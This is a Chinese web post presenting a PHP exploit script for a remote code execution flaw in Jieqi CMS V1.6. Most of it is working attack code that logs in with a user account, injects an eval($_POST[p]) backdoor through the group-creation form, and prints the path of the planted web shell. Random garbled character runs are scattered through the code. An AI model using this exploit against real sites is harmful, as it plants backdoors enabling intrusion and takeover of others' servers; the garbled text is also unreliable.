Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

admin

杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。
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该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
需要有一个能创建圈子的用户。
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2 w$ \- i' ]8 T1 R2 C# ^0 {/ ?% F<?php

print_r('
+---------------------------------------------------------------------------+
Jieqi CMS V1.6 PHP Code Injection Exploit
- b/ [# y, c6 h- Q3 ~# m( e: w5 Zby flyh4t
8 `) b" ]! n' J: Q2 U/ ?, Rmail: phpsec at hotmail dot com
team: http://www.wolvez.org
" a; |/ G8 k, U: D0 k( Z4 ]+---------------------------------------------------------------------------+
2 \' {3 i$ w0 s. d- k7 m: Q$ P( _'); /**
/ }1 H. r1 v8 `% y& l * works regardless of php.ini settings
9 ^7 B* A6 D) e# x3 A*/ if ($argc < 5) { print_r('
* }' ]# q, {+ B8 A6 g6 f# Y8 z- e+---------------------------------------------------------------------------+
: C( V0 M/ _8 H0 Y/ TUsage: php '.$argv[0].' host path username
8 J" Q, \; b( c' e* whost:      target server (ip/hostname)
path:      path to jieqicms
+ C$ P  y( Q; l7 ^6 Uuasename:  a username who can create group
% ]' {9 Y1 e1 p' N6 LExample:
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
+---------------------------------------------------------------------------+
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
Content-Disposition: form-data; name="gname"

% k2 X0 m6 ]( Q* v' \% ?& S'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
-----------------------------23281168279961
Content-Disposition: form-data; name="gcatid"
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1
-----------------------------23281168279961
Content-Disposition: form-data; name="gaudit"
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! P" w% e6 P& b) ~" `-----------------------------23281168279961
Content-Disposition: form-data; name="gbrief"
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1
-----------------------------23281168279961--
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com

* I. t" x) z  Y. f) zpreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;